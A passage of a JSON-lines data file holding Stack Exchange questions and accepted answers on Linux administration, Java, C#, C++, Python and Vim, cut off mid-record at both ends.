Capabilities: [48] Power Management version 3 Capabilities: [50] Vital Product Data Capabilities: [58] Vendor Specific Information: Len=78 <?> Capabilities: [e8] MSI: Enable+ Count=1/1 Maskable- 64bit+ Capabilities: [d0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [13c] Virtual Channel Capabilities: [160] Device Serial Number 00-10-18-ff-fe-ea-59-47 Capabilities: [16c] Power Budgeting <?> Kernel driver in use: tg3 Kernel modules: tg3Is there any way to get it working with some other drivers etc?" , "title": "Realtek r8169 not working in CentOS 6.5" , "tags": "centos;realtek" } { "id": "_softwareengineering.271300" , "question": "This code: Double.parseDouble(ABC)throws a NumberFormatException.Why is it wrong to expect a Double.NaN (NaN is literally Not-A-Number).A working example is this:public static void main(String[] args) { System.out.println(Is ABC a number? + Double.isNaN(Double.parseDouble(ABC));}I expect Is ABC not a number? true as output. Why must this be an Exception?" , "title": "Why Double.parseDouble(ABC) not returns Double.NaN?" , "tags": "java;parsing" , "accepted_answer": "NaN has a very specific meaning as the result of an undefined numerical operation such as division by zero or taking the square root of a negative number (within the realm of real numbers). It's not an appropriate return value from code that parses a floating point number. Code like that should signal an error when it comes across text that can't be parsed as a number.Also, as others have mentioned, it's a consistency issue. Only floating point values even have a NaN. Integer and boolean types don't. parseX() should behave the same way in all cases where possible. This is called the principle of least surprise. That is, design things in the most consistent way possible to avoid surprising others using your APIs." } { "id": "_webmaster.95830" , "question": "I handle the SEO of the company's website. Last month we peaked at a national Alexa Rank of around 30,000, but in the past 3 weeks it has gone down to 50,000. The executives at my company consider Alexa Rank as a major growth indicator. Traffic has plateaued/minute increase over the past 3 weeks. Though, I am continuously addressing avenues for SEO on the website, we are seeing a downward trend.Question is that is Alexa a good representation of growth?" , "title": "Is Alexa Rank a true representation of growth?" , "tags": "seo;pagerank;ranking;alexa" } { "id": "_unix.111462" , "question": "How can I remove all software installed on my Linux distribution? I'm using Debian:$ uname -aLinux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/LinuxI want to go back to the original installed software.Is there any built-in way to do it in a single command?" , "title": "How to remove all software" , "tags": "debian;software installation;package management" } { "id": "_unix.353061" , "question": "For a project I want to use wget in a cron to download a data file. In the wget statement, a start- and enddate have to be defined in the following format: wget --post-data=stns=235&vars=TEMP&start=YYYYMMDDHH&end=YYYYMMDDHHSince I want it to be done by a cron job, I would like the start- and enddate to be set automatically. More specific, I would like the startdate to be set to '1 hour ago' and the enddate to 'now'. There has been a similar question in the post Using date -1day with wget. Here the suggested solution was to put the variables between single quotes, but this did not work. E.g.:[...]start='`date -d yesterday +%Y%m%d%H'&end=`date +%Y%m%d%H`I simply got the error Error 400: Bad request when trying to execute the wget-statement in the terminal.Thank you. " , "title": "Using date variable with wget --post-data" , "tags": "shell script;cron;date;wget" , "accepted_answer": "Within a cron job, % is special and must be escaped. Also, backquote syntax is best avoided. I would suggest something like the following:wget --post-data=start=$(date ... +\\%Y\\%m\\%d\\%H)&end=$(date ... +\\%Y\\%m\\%d\\%H)&..." } { "id": "_unix.207278" , "question": "I'm new in Unix, am trying to extract specific file(by using one command) form this kind of folder structure:.../file1.ear/file2.war/folder1/folder2/fileToExtract.txt What I do now is extract the first ear file to a folder (unzip), then extract the second war file to a folder and only then I am able to open the txt file in Unix." , "title": "Extract specific file from complex war archive structure" , "tags": "zip" } { "id": "_datascience.8792" , "question": "Is there a fundamental difference between building a set on N logistic regressions in 1 vs all fashion, as compared to training a single mutlinomial logistic regression? Put another way, are there any optimization techniques that treat the 1 to N classes logistic regression problem in a way that's markedly different from N independent regressions? Intuitively is seems like the answer ought to be yes, since there should be a lot of information sharing between various problems if two classes are similar. But since I'm not entirely well versed on how common 1 to N solvers actually work, I can't tell if I'm right or these problems are treated in ways that fundamentally the same. I think that we can see that there could be a difference between the two models, but I'm not entirely sure. Googling the matter revealed a few arcane discussing about the subject, but I was unable to find an authoritative discussion of the matter. " , "title": "Difference between multinomia logistic regression and N 1 vs all binary" , "tags": "logistic regression;multiclass classification" } { "id": "_unix.342219" , "question": "I am working on configuring a VLAN on NixOS. I successfully set it up with the following Nix config:networking.vlans = { vlan46 = { id = 46; interface = eth1; }; };networking.interfaces.vlan46.ipAddress = 10.0.3.10;networking.interfaces.vlan46.prefixLength = 24;The issue is that whenever I reboot the machine, the IP is no longer assigned to the VLAN interface. When digging a little bit, I found that a systemd service named network-addresses-vlan46.service is in a failed state. When I start that service manually, the IP is assigned again.These are journalctl events right after the reboot:Feb 03 09:56:12 nixos-machine systemd[1]: Starting Vlan Interface vlan46...Feb 03 09:56:12 nixos-machine vlan46-netdev-start[671]: RTNETLINK answers: Network is downFeb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Main process exited, code=exited, status=2/INVALIDARGUMENTFeb 03 09:56:12 nixos-machine systemd[1]: Failed to start Vlan Interface vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Unit entered failed state.Feb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Failed with result 'exit-code'.Feb 03 09:56:12 nixos-machine systemd[1]: Found device /sys/subsystem/net/devices/vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: Starting Address configuration of vlan46...Feb 03 09:56:12 nixos-machine network-link-vlan46-start[682]: Configuring link...Feb 03 09:56:12 nixos-machine network-addresses-vlan46-start[681]: bringing up interface...Feb 03 09:56:12 nixos-machine systemd[1]: Starting Link configuration of vlan46...Feb 03 09:56:12 nixos-machine network-addresses-vlan46-start[681]: RTNETLINK answers: Network is downFeb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Main process exited, code=exited, status=2/INVALIDARGUMENTFeb 03 09:56:12 nixos-machine systemd[1]: Failed to start Address configuration of vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Unit entered failed state.Feb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Failed with result 'exit-code'.Feb 03 09:56:12 nixos-machine systemd[1]: Started Link configuration of vlan46.Feb 03 09:56:16 nixos-machine ntpd[532]: Listen normally on 6 vlan46 [fe80::a00:27ff:fea6:4b5b%4]:123Feb 03 09:56:19 nixos-machine ntpd[857]: Listen normally on 7 vlan46 [fe80::a00:27ff:fea6:4b5b%4]:123Not sure why it's detecting network as down and failing while it is successful when I start the service manually.Any ideas? Thanks." , "title": "VLAN configuration on NixOS: IP is no longer mapped after reboot" , "tags": "nixos;vlan" } { "id": "_softwareengineering.313424" , "question": "For my thesis I am trying to extract some data from Excel.I want to create a list with the name as in excel and then append the values to said list so I can work with it. EDITI realize I was unclear in my last post. This is simply because it was hard to find material on openpyxl (I didn't find the documentation that useful)After some research I accomplished some things:I will first explain the processIn excel I have many columns with a header=name of stockand below values for said stock.Step 1 would be read the columns and differentiate between namesstep 2 create a dictionary from those columns with the key being the name of stockstep 3 is to calculate an average with a function that excludes the input stock from the average .so avg(dictionary,stock i) would calculate the average of my dictionary values while excluding stock iWB=load_workbook(filename=)ws = WB.activeStockslist={}i=0for col in ws.columns: print(we are at column; +str(i)) i+=1for cell in col: if cell.value== or cell.value==None: print (empty column) break if type(cell.value)==unicode: print ( we entered name) Stock=str(cell.value) else: Stockslist.setdefault(Stock,[]).append(cell.value)This creates a dictionary with the values,now lets calculate the average while excluding a certain stock def CalcAverage(stockslist,stock):#stockslist is a dict, stock is a key in said dictionary stocki=Stockslist.pop(stock)#remove stock we wanna exclude from dictionary avgvalues=[]#create a list that will constitute average values for k,v in Stockslist.iteritems(): print k avgvalues.append(sum(v)/float(len(v))) return avgvalues,stockinow my question is suppose I have: stockslist={APPLE:[1,2,3],TESLA:[4,5,6],GOOGLE:[7,8,9]}I don't want to create a list that has the average value for apple values and so on. This has been explained many times before on Stack ExchangeI want to get a list that comprises the mean in a pairwise progression kind of wayso AVGVALUE would be avgvalues=[1+4+7/3, avg of 2Nd values of Stockslist and so on..]So not as in my code above where I calculate the average per stock and then append it." , "title": "OPENPYXL tutorial / help with AVERAGE DICTIONARY" , "tags": "python;excel" } { "id": "_unix.104202" , "question": "I changed my username about a month ago, and although I have forgotten the specificities of how I had done so, I'm pretty sure I followed the instructions on the Arch Wiki. Since then, some programs, such as gnome-boxes, have been mistakenly identifying me by my old username - zheoffec:[marcoms@baguette16 Downloads]$ gnome-boxes (gnome-boxes:10440): Boxes-WARNING **: libvirt-broker.vala:86: Failed to start storage pool: cannot open path '/home/zheoffec/.local/share/gnome-boxes/images': No such file or directoryOf course, my new $HOME is /home/marcoms/, and running grep -i zheoffec * --recursive as root from the root directory only returns strings from .bash_history and fish_history (fish is another shell).How can I remove all traces of my old username?" , "title": "Changing username still leaves old traces" , "tags": "bash;arch linux;users;home" , "accepted_answer": "Changing usernames afterwards like this can be problematic since the username is often times hard coded into files throughout your $HOME directory. I usually create a new account with the new name and then migrate files from the old file to the new, but you can also identify them like so:$ grep -r zheoffec $HOMEExample$ grep -r saml /home/saml/home/saml/scripts/r.rb:#!/home/saml/.rvm/rubies/ruby-1.9.2-p180/bin/rubyBinary file /home/saml/parking_lot/db/db1080p.zip matchesBinary file /home/saml/Dropbox/personal/Dropbox/pidgin.tar matches/home/saml/Dropbox/personal/.viminfo:'0 2 5 /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:-' 2 5 /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:-' 1 0 /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:> /home/saml/bin/dropbox.shIf you decide to create a new account and then copy key pieces of data from the old I'd also recommend using rsync to copy files from the old account to the new one as needed. This allows you to copy the data as you go and build up a script that includes key directories of files.Additionally I'll often copy the dot files .* to a subdirectory in the new location called dotfiles and once I'm in the new account will use rsync to copy subdirectories from dotfiles as needed." } { "id": "_webapps.30458" , "question": "How do I delete All Mail box on left (archived) without deleting other labels' content? Reason is a virus in Gmail archived messages which I cannot locate due to the large amount of archived messages. It is not in my labeled messages" , "title": "how to delete ALL Mail without deleting mail with labels?" , "tags": "gmail;gmail labels" } { "id": "_webmaster.23402" , "question": "So I've been assigned to take a look at our SEO (an area I have some, but not amazing competence in), and the first thing I noticed is that our robots.txt file says the following:# go awayUser-agent: *Disallow: /Now, I'm pretty competent at reading computer, and as far as I can tell, this says ALL spiders shouldn't look at ANYTHING in the root directory or below.Am I reading this correctly? Because that just seems insane." , "title": "Is this robots.txt file really preventing all crawling of our website? I'm trying to find out why our SEO is so poor" , "tags": "seo;robots.txt" , "accepted_answer": "Maybe someone didn't want to pay for spider traffic? Regardless, you are reading it correctly:http://www.robotstxt.org/robotstxt.htmlWeb site owners use the /robots.txt file to give instructions about their site to web robots; this is called The Robots Exclusion Protocol. It works likes this: a robot wants to vists a Web site URL, say http://www.example.com/welcome.html. Before it does so, it firsts checks for http://www.example.com/robots.txt, and finds: User-agent: * Disallow: /The User-agent: * means this section applies to all robots. The Disallow: / tells the robot that it should not visit any pages on the site." } { "id": "_unix.223843" , "question": "I know I am noob....As far as I know, Linux can only install package from its Repository list.And there are plenty of repositories out there.After you have installed/updated the repository list, you can install the package you want.But... I have no idea how to find a repository list that has the specified version of a package I want to install.For example, I want to install php55u, not php55w or whatever.Where/how can I find such a repository list or whatever that contains the php55u so I can have yum install it?Correct me if I am wrong and explanation for dummy will be nice :)" , "title": "How to find and install specify package by command?" , "tags": "centos;package management;yum;repository" } { "id": "_unix.153318" , "question": "I need to store specific number of spaces in a variable.I have tried this:i=0result=space() { n=$1 i=0 while [[ $i != $n ]] do result=$result ((i+=1)) done}f=firsts=lastspace 5echo $f$result$sThe result is firstlast, but I expected 5 space characters between first and last.How can I do this correctly?" , "title": "Storing whitespace in a shell script variable" , "tags": "shell script;variable;whitespace" , "accepted_answer": "Use doublequotes () in the echo command:echo $f$result$sThis is because echo interprets the variables as arguments, with multiple arguments echo prints all of them with a space between.See this as an example:user@host:~$ echo this is a testthis is a testuser@host:~$ echo this is a testthis is a testIn the first one, there are 4 arguments:execve(/bin/echo, [echo, this, is, a, test], [/* 21 vars */]) = 0in the second one, it's only one:execve(/bin/echo, [echo, this is a test], [/* 21 vars */]) = 0" } { "id": "_unix.267418" , "question": "I became curious when I was diffing two large (>326MB) files, and noticed that the second run took much less time than the first. This was frustrating, since I was trying to time the second run, to see how long the diff took. :)The man page doesn't mention a cache, and searching for 'diff cache' seems to flood me with results for the git diff subcommand, which is not what I'm interested in learning about. So, my question is:Why did the second run of diff largeFile1 largeFile2 take so much less time than the first? Where can I find more information?" , "title": "How does the diff command handle caching?" , "tags": "shell;command;diff;cache" , "accepted_answer": "diff isn't doing any caching. The OS is. If you are using Linux, you can flush the disk buffers and cache. See How do you empty the buffers and cache on a Linux system?" } { "id": "_softwareengineering.340649" , "question": "Map (or HashMap) takes Constant time for Insert, Remove and Retrieve. While all other data structures which I know so far, do not take constant time and their time for above operations depends on the size of input.So, why do we need all other data structures ever ? Isn't HashMap is universal data structure ?" , "title": "Why do we need datastructures other than HashMap" , "tags": "data structures;hashing" , "accepted_answer": "Hash map has constant time for most operations - on average. Worst case complexity is much higher. A list or a tree can guarantee fast (even if not constant) time in every case (even for maliciously crafted input).Element lookup in an array is usually a single CPU instruction. Hash map adds a lot overhead over that - even if both have constant average complexity.It doesn't keep any order of elements. Inserting elements at particular position requires rebuilding whole hash map. Iterating over elements in particular order requires converting to a different data structure.Hash map has much higher memory footprint than tightly packed array or carefully designed linked list. It usually has much worse cache locality.Not all data types are easily hashable." } { "id": "_codereview.100822" , "question": "In the past I have always called the repositories directly from the controller, but that is a bad practice and now I am implementing a Business Layer to my project.Would I have two UnitOfWorks? One for the Service and then one for the repositories?BaseController:public class BaseController : Controller{ protected IUnitOfWorkService UnitOfWorkService; private readonly IEmployeeService _employeeService; protected BaseController(IUnitOfWorkService unitOfWorkService) { UnitOfWorkService = unitOfWorkService; _employeeService = unitOfWorkService.EmployeeService; }}HomeController:public class HomeController : BaseController{ private readonly IEmployeeService _employeeService; public HomeController(IUnitOfWorkService unitOfWorkService) : base(unitOfWorkService) { _employeeService = unitOfWorkService.EmployeeService; } public ActionResult Index() { var emp = _employeeService.GetEmployee(employeeId); ... } ...}EmployeeService:public class EmployeeService : IEmployeeService{ private IEmployeeRepository _employeeRepo; public EmployeeService(IUnitOfWork unitOfWork) { _employeeRepo = unitOfWork.EmployeeRepository; } public Employee GetEmployee(int employeeId) { return _employeeRepo.GetEmployee(employeeId); } ...}EmployeeRepositorypublic class EfEmployeeRepository : EfRepository, IEmployeeRepository{ public EfEmployeeRepository(SqlContext context) : base(context) { } public Employee GetEmployee(int employeeId) { var employee = Context.Employees .SingleOrDefault(e => e.EmployeeId == employeeId); return employee != null ? employee.ToDomain() : null; }}Unit of WorkIUnitOfWorkService:public interface IUnitOfWorkService : IDisposable{ IEmployeeService EmployeeService { get; }}UnitOfWorkService:public class UnitOfWorkService : IUnitOfWorkService{ private readonly IUnitOfWork _unitOfWork; private EmployeeService _employeeService; public UnitOfWorkService() { _unitOfWork = new EfUnitOfWork(); } public IEmployeeService EmployeeService { get { return _employeeService ?? (_employeeService = new EmployeeService(_unitOfWork)); } } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) _unitOfWork.Dispose(); }}IUnitOfWork:public interface IUnitOfWork : IDisposable{ IEmployeeRepository EmployeeRepository { get; }}UnitOfWork:public class EfUnitOfWork : IUnitOfWork{ private readonly SqlContext _context; private EfEmployeeRepository _employeeRepository; public IEmployeeRepository EmployeeRepository { get { return _employeeRepository ?? (_employeeRepository = new EfEmployeeRepository(_context)); } } public EfUnitOfWork() { _context = new SqlContext(); } public void Save() { _context.SaveChanges(); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) _context.Dispose(); }}Register Dependenciesbuilder.RegisterType<EfUnitOfWork>().As<IUnitOfWork>().InstancePerRequest();builder.RegisterType<UnitOfWorkService>().As<IUnitOfWorkService>().InstancePerRequest();" , "title": "Configuring MVC 5 project with service layer and DI and UOW" , "tags": "c#;dependency injection;asp.net mvc 5;autofac" , "accepted_answer": "public class BaseController : Controller{ protected IUnitOfWorkService UnitOfWorkService; private readonly IEmployeeService _employeeService; protected BaseController(IUnitOfWorkService unitOfWorkService) { UnitOfWorkService = unitOfWorkService; _employeeService = unitOfWorkService.EmployeeService; }}public class HomeController : BaseController{ private readonly IEmployeeService _employeeService; public HomeController(IUnitOfWorkService unitOfWorkService) : base(unitOfWorkService) { _employeeService = unitOfWorkService.EmployeeService; } public ActionResult Index() { var emp = _employeeService.GetEmployee(employeeId); ... } ...} I don't see a reason here to have private readonly IEmployeeService _employeeService; in the HomeController. It would be better to make the _employeeService variable of the BaseController protected so it can be used by the objects which inherits the BaseController. Why is the protected IUnitOfWorkService UnitOfWorkService; not readonly ? Style Using abbreviations or naming variables is bad practice. Does it hurt to name the variable IEmployeeRepository _employeeRepo like IEmployeeRepository _employeeRepository ? It does not hurt to use braces {} for single if statements but will make the code less error prone. I would like to encourage you to always use them. " } { "id": "_unix.71462" , "question": "I have the followin directory structure:base/ files/ archives/ scripts/I want a script to run from scripts/, compress files that match results.*.log in files/ into a gzipped tar archive in archives/.I'm trying the following command:tar czfC ../archives/archive.tar.gz ../files results.*.logBut I gettar: results.*.log: Cannot stat: No such file or directorytar: Exiting with failure status due to previous errorsWhile tar czfC ../archives/archive.tar.gz ../files results.a.logworks as expected. Also tar czf ../archives/archive.tar.gz ../files/results.*.logworks the way I would like, except it adds the prefix files/ to the file and also emits a warning:tar: Removing leading `../' from member namesSo my conclusion is that tar globbing doesn't work properly when using the -C option. Any advice on how I make this work in a simple manner?" , "title": "How to make tar globbing work with the 'change directory' option" , "tags": "wildcards;tar" , "accepted_answer": "Write it the more portable way:(cd ../files && tar cf - results.*.log) | gzip -9 > ../archives/archive.tar.gz" } { "id": "_codereview.75424" , "question": "I am coding a 2D board game. I let the user choose the difficulty level in the beginning, which influences the skills points of the player. Here is the code I wrote for the Player class:package model;public class Player { // VARIABLES --------------------------- private Position position; private int score = 0; private int stepsLeft; private int fightingSkill; private int jokingSkill; private int visionScope = 2; private String skillChoice; // CONSTRUCTOR -------------------------- public Player(Position position, int difficultyLevel) { this.position = position; switch(difficultyLevel) { case 1: this.stepsLeft = 150; this.fightingSkill = 5; this.jokingSkill = 5; case 2: this.stepsLeft = 150; this.fightingSkill = 2; this.jokingSkill = 2; case 3: this.stepsLeft = 100; this.fightingSkill = 2; this.jokingSkill = 2; case 4: this.stepsLeft = 10; this.fightingSkill = 1; this.jokingSkill = 1; } } public Player(int stepsLeft, int fightingSkill, int jokingSkill) { this.stepsLeft = stepsLeft; this.fightingSkill = fightingSkill; this.jokingSkill = jokingSkill; this.position = new Position(1,1); this.score = 0; } // METHODS ------------------------------ public void move(Position destination) { setPosition(destination); stepsLeft -= 1; } public void increaseScore(int bonus) { score += bonus; } public void increaseStepsLeft(int bonus) { stepsLeft+= bonus; } public void increaseFightingSkill(int bonus) { fightingSkill += bonus; } public void increaseJokingSkill(int bonus) { jokingSkill += bonus; } // GETTERS public Position getPosition() { return position; } public int getXPosition() { return position.getX(); } public int getYPosition() { return position.getY(); } public int getScore() { return score; } public int getStepsLeft() { return stepsLeft; } public int getFightingSkill() { return fightingSkill; } public int getJokingSkill() { return jokingSkill; } public String getSkillChoice() { return skillChoice; } public int getVisionScope() { return visionScope; } // SETTERS public void setPosition(Position position) { this.position = position; } public void setSkillChoice(int choice) { switch(choice) { case 0: this.skillChoice = joke; break; case 1: this.skillChoice = fight; break; case 2: this.skillChoice = magic; break; default: ; } } public String toString() { return play \\t+position+\\t+stepsLeft+\\t+jokingSkill+\\t+score+\\n; }}My questionsI chose to use a switch statement in the constructor, to create my player with features according to the difficulty level. I have the feeling that is maybe not the good practice to have such a switch in a constructor but can't really say why, and don't find a better way. Is there a better way to do this? Any other comments about that class? I've programmed scientific code but am quite new to OOP and Java. Any comment is welcome." , "title": "Create player according to chosen difficulty" , "tags": "java;game" } { "id": "_unix.70827" , "question": "I've installed CentOS 6.3. However, eth0 does not show up on ifconfig.So I figured out that I need to install alx Ethernet driver from here.Since my internet is not working, as ethernet drivers are not installed, I've installed Development Tools from the DVD.Steps performed:./scripts/driver-select alxOn 'make' I get this error. http://paste.ubuntu.com/5669506/How do I solve this issue? Would be grateful for any kind of help. Thanks." , "title": "Unable to install Atheros AR8161 Ethernet controller driver for centOS 6" , "tags": "linux;centos;drivers;linux kernel;ethernet" } { "id": "_webapps.36933" , "question": "Someone shared a folder with me on Dropbox and I cant see this folder in my Dropbox folder at home. I have to access it through the Dropbox website.I thought it was supposed to be visible on every PC that has access to the folder, so people can just copy and paste the files from that folder to their own computer.Or is it normal that I have to access it through the website?" , "title": "Can't see a folder people shared with me in my own Dropbox folder" , "tags": "dropbox" } { "id": "_unix.293017" , "question": "I have two programs that I called program1 and program2 which perform a main task of two operations. When program1 start running it pipe its results to program2 which performs the final result. Because both programs must run continuously, I implemented a systemd service for this and here is the content of /lib/systemd/system/servers.service file.[Unit]Description=Start serversAfter=network.target[Service]Type=simpleExecStart=/usr/local/bin/servers >> /var/log/servers.logRestart=alwaysTimeoutStartSec=100User=rootExecStartPre=killall -w -q program1 && killall -w -q program2User=rootExecStopPost=killall -w -q program1 && killall -w -q program2User=root[Install]WantedBy=multi-user.targetWhen run the service, systemd create two process to realize the task, here you can see the status.sudo service servers status# result servers.service - Start servers Loaded: loaded (/lib/systemd/system/servers.service; enabled) Active: active (running) since Wed 2016-06-29 21:00:27 UTC; 2h 5min ago Main PID: 11942 (server) CGroup: /system.slice/servers.service 11942 program1 11944 program2when one of the program crash the service is still in it running state which is not logically correct because the main task is stopped.Please I will like to know if it is possible to implement such a situation with systemd services? If so, how?" , "title": "Systemd: stop the main process (or the service) when a subprocess crash" , "tags": "linux;debian;systemd;cgroups" } { "id": "_datascience.6749" , "question": "I have a function: m=a*n+2the range of a is 1 to 100 and the range of a is 1 to 5My question: is it possible to plot a figure with x-axis is n, and y-axis is a and also shows the value of m ?" , "title": "plotting graph in R: show 3 values in one graph" , "tags": "r" } { "id": "_codereview.2978" , "question": "Following is the code which finds the social network of a friend (i.e. friends of friends and so on). Friends definition is, ff W1 is friend of W2, then there should be Levenshtein distance equal to 1. It is working fine with a smaller dictionary, but is taking a lot of time with a bigger dictionary.Need some code review and advice.#include <stdio.h>#include <string>#include <vector>#include <queue>#include <fstream> #include <iostream> #include <sstream>#include <iterator>#include <algorithm>#include <set>class BkTree { public: BkTree(); ~BkTree(); void insert(std::string m_item); void get_friends(std::string center, std::deque<std::string>& friends); private: size_t EditDistance( const std::string &s, const std::string &t ); struct Node { std::string m_item; size_t m_distToParent; Node *m_firstChild; Node *m_nextSibling; Node(std::string x, size_t dist); bool visited; ~Node(); }; Node *m_root; int m_size; protected:};BkTree::BkTree() { m_root = NULL; m_size = 0;}BkTree::~BkTree() { if( m_root ) delete m_root; }BkTree::Node::Node(std::string x, size_t dist) { m_item = x; m_distToParent = dist; m_firstChild = m_nextSibling = NULL; visited = false;}BkTree::Node::~Node() { if( m_firstChild ) delete m_firstChild; if( m_nextSibling ) delete m_nextSibling;}void BkTree::insert(std::string m_item) { if( !m_root ){ m_size = 1; m_root = new Node(m_item, -1); return; } Node *t = m_root; while( true ) { size_t d = EditDistance( t->m_item, m_item ); if( !d ) return; Node *ch = t->m_firstChild; while( ch ) { if( ch->m_distToParent == d ) { t = ch; break; } ch = ch->m_nextSibling; } if( !ch ) { Node *newChild = new Node(m_item, d); newChild->m_nextSibling = t->m_firstChild; t->m_firstChild = newChild; m_size++; break; } }}size_t BkTree::EditDistance( const std::string &left, const std::string &right ) { size_t asize = left.size(); size_t bsize = right.size(); std::vector<size_t> prevrow(bsize+1); std::vector<size_t> thisrow(bsize+1); for(size_t i = 0; i <= bsize; i++) prevrow[i] = i; for(size_t i = 1; i <= asize; i ++) { thisrow[0] = i; for(size_t j = 1; j <= bsize; j++) { thisrow[j] = std::min(prevrow[j-1] + size_t(left[i-1] != right[j-1]), 1 + std::min(prevrow[j],thisrow[j-1]) ); } std::swap(thisrow,prevrow); } return prevrow[bsize];}void BkTree::get_friends(std::string center, std::deque<std::string>& flv) { if( !m_root ) return ; std::queue< Node* > q; q.push( m_root ); while( !q.empty() ) { Node *t = q.front(); q.pop(); if ( !t ) continue; size_t d = EditDistance( t->m_item, center ); if( d == 1 ) { if ( t->visited == false ) { flv.push_back(t->m_item); t->visited = true; } } Node *ch = t->m_firstChild; q.push(ch); while( ch ) { if( ch->m_distToParent >= 1 ) q.push(ch); ch = ch->m_nextSibling; } } return;}int main( int argc, char **argv ) { BkTree *pDictionary = new BkTree(); std::ifstream dictFile(word.list); std::string line; if (dictFile.is_open()) { while (! dictFile.eof() ) { std::getline (dictFile,line); if ( line.size()) { pDictionary->insert(line); } } dictFile.close(); } std::deque<std::string> flq; pDictionary->get_friends(aa, flq); int counter = 0; while ( !flq.empty()) { counter++; std::string nf = flq.front(); flq.pop_front(); pDictionary->get_friends(nf, flq); } std::cout << counter << std::endl; return 0;}" , "title": "Finding social network of a friend" , "tags": "c++;algorithm;edit distance" } { "id": "_codereview.28609" , "question": "I've got a class with a property TotalCost, which is calculated by some simple math of two other properties, CostOfFood and NumberOfPeople. The code works the way I want it to, but I was wondering if this is a satisfactory method in the long run of application development, a bad idea to have one property that depends on another all together (I'm pretty sure this is the case, but sometimes it makes sense to), or if the informed reader would deem it acceptable. Helpful hints are in the comments.class DinnerParty{ private int numberOfPeople; public int NumberOfPeople { get { return numberOfPeople; } set { numberOfPeople = value; //TotalCost property is updated when more people are added to the party TotalCost =CalculateFoodCost(value); } } private decimal totalCost; public decimal TotalCost { get { return totalCost; } private set { totalCost = value; } } private decimal costOfFood; public decimal CostOfFood { get { return costOfFood; } set { costOfFood = value; //TotalCost property is updated when CostOfFood changes //directly below line was my initial idea //TotalCost = value * NumberOfPeople was my initial thought //before overloading the CalculateFoodCost method //this calls the CalculateFoodCost version that takes a decimal TotalCost = CalculateFoodCost(value); } } private decimal CalculateFoodCost(int costOfFood) { //the int coming in as a parameter is the 'value' of the NumberOfPeople property return this.costOfFood * NumberOfPeople; } private decimal CalculateFoodCost(decimal costOfFood) { return this.costOfFood * NumberOfPeople; } public DinnerParty() { //so food cost is never 0 CostOfFood = 10; }}TestingDinnerParty d = new DinnerParty();d.NumberOfPeople = 1; Console.WriteLine(d.TotalCost);//output = 10d.CostOfFood = 2;Console.WriteLine(d.TotalCost);//CostOfFood changed, output =2d.NumberOfPeople = 2;Console.WriteLine(d.TotalCost);//output=4;d.CostOfFood = 3;Console.WriteLine(d.TotalCost); //output =6" , "title": "When one property is calculated from another" , "tags": "c#" , "accepted_answer": "The C# property model allows external classes to inspect (or set) a given member as though it were a public 'field', and the implementation details are left to the property's accessor and mutator. In your case, you want to expose TotalCost and hide the implementation details about how it is derived. And your code reflects best practices. Following the comment from Clockwork-Muse, your implementation can be made more elegant by... public decimal TotalCost { get { return CostOfFood * NumberOfPeople; } }This avoids the calculation penalty for setting either of the calculation ingredients and performs the calculation only when called upon to do so. It's also a bit more readable and transparent. In this particular case, there's no need for an asymmetric mutator, so it's been removed. " } { "id": "_datascience.9036" , "question": "Most of us want to build a recommendation engine as accurate as possible, however, an experienced chief data scientist believes a practical machine learning algorithm should randomly shuffle the results, therefore non-optimal results. This is known as Results Dithering. Slide 15 at:http://cikm2013.org/slides/ted.pptxWhile I understand how to do it (adding a small fixed Gaussian noise), but why would we do it to make the performance worse." , "title": "Result Dithering? Why randomly shuffle results?" , "tags": "machine learning" } { "id": "_vi.4150" , "question": "I am trying to change a text file with data in 'document' form into unnormalized csv. The data are a list of hymn authors ('document header') and for each author a list of one or more hymns they have written ('document line'). The specific operation I am struggling with is taking each 'document header' and prepending it to the one or more 'document lines' that follow it.Example dataFor example, I want to turn thisBeskow Natanael 140 Ack saliga dag 399 Trnger i dolda djupen ner 478 Ditt verk r stort 479 Krlek av hjdenBexell Gran 103 Herren lever vga tro detBze Thodore de 283 Lovsjung nu alla lnder Gud 360 Ssom hjorten ivrigt lngtarintoBeskow Natanael,140,Ack saliga dagBeskow Natanael,399,Trnger i dolda djupen nerBeskow Natanael,478,Ditt verk r stortBeskow Natanael,479,Krlek av hjdenBexell Gran,103,Herren lever vga tro detBze Thodore de,283,Lovsjung nu alla lnder GudBze Thodore de,360,Ssom hjorten ivrigt lngtarThe specific change that I am struggling with is taking the 'document header' and prepending it to each 'document line' so I am leaving the other changes (removing the header, comma between hymn number and hymn title, etc.) to one side for the moment.QuestionI could write a function to do this change, but I find that I am collecting quite a number of ad hoc functions for different editing operations, so I would prefer to learn how to do it with a global command, or, if it is not a suitable operation to perform with global, to understand why. How can I do this operation with global; and, if I can't, why?What I have triedI have tried using the :global command to execute different combinations of normal commands.1) Yank, move, putg/^\\S/normal! y$jPa,I take this to meanfor each line beginning with non-whitespaceyank to end-of-line into unnamed registermove down one line and put before from unnamed registerappend a commaThis works, but only for each first 'document line'. The result isBeskow NatanaelBeskow Natanael, 140 Ack saliga dag 399 Trnger i dolda djupen ner 478 Ditt verk r stort 479 Krlek av hjdenBexell GranBexell Gran, 103 Herren lever vga tro detBze Thodore deBze Thodore de, 283 Lovsjung nu alla lnder Gud 360 Ssom hjorten ivrigt lngtarTo repeat the put operation on each 'document line' I think I would need to know how many there are and put in a loop, and I don't see an easy way to do that without writing a custom function.2) Yank, visually select, substituteTo avoid having to count I thought I could instead visually select the 'document lines' and insert the 'document header' with a substitute over the visual selection.g/^\\S/normal! y$v/^\\S^M:s/^\\s/\\=@ . , . submatch(0)I intend this command to mean the followingfor each line beginning with non-whitespaceyank to the end of linevisually select until the next line beginning with 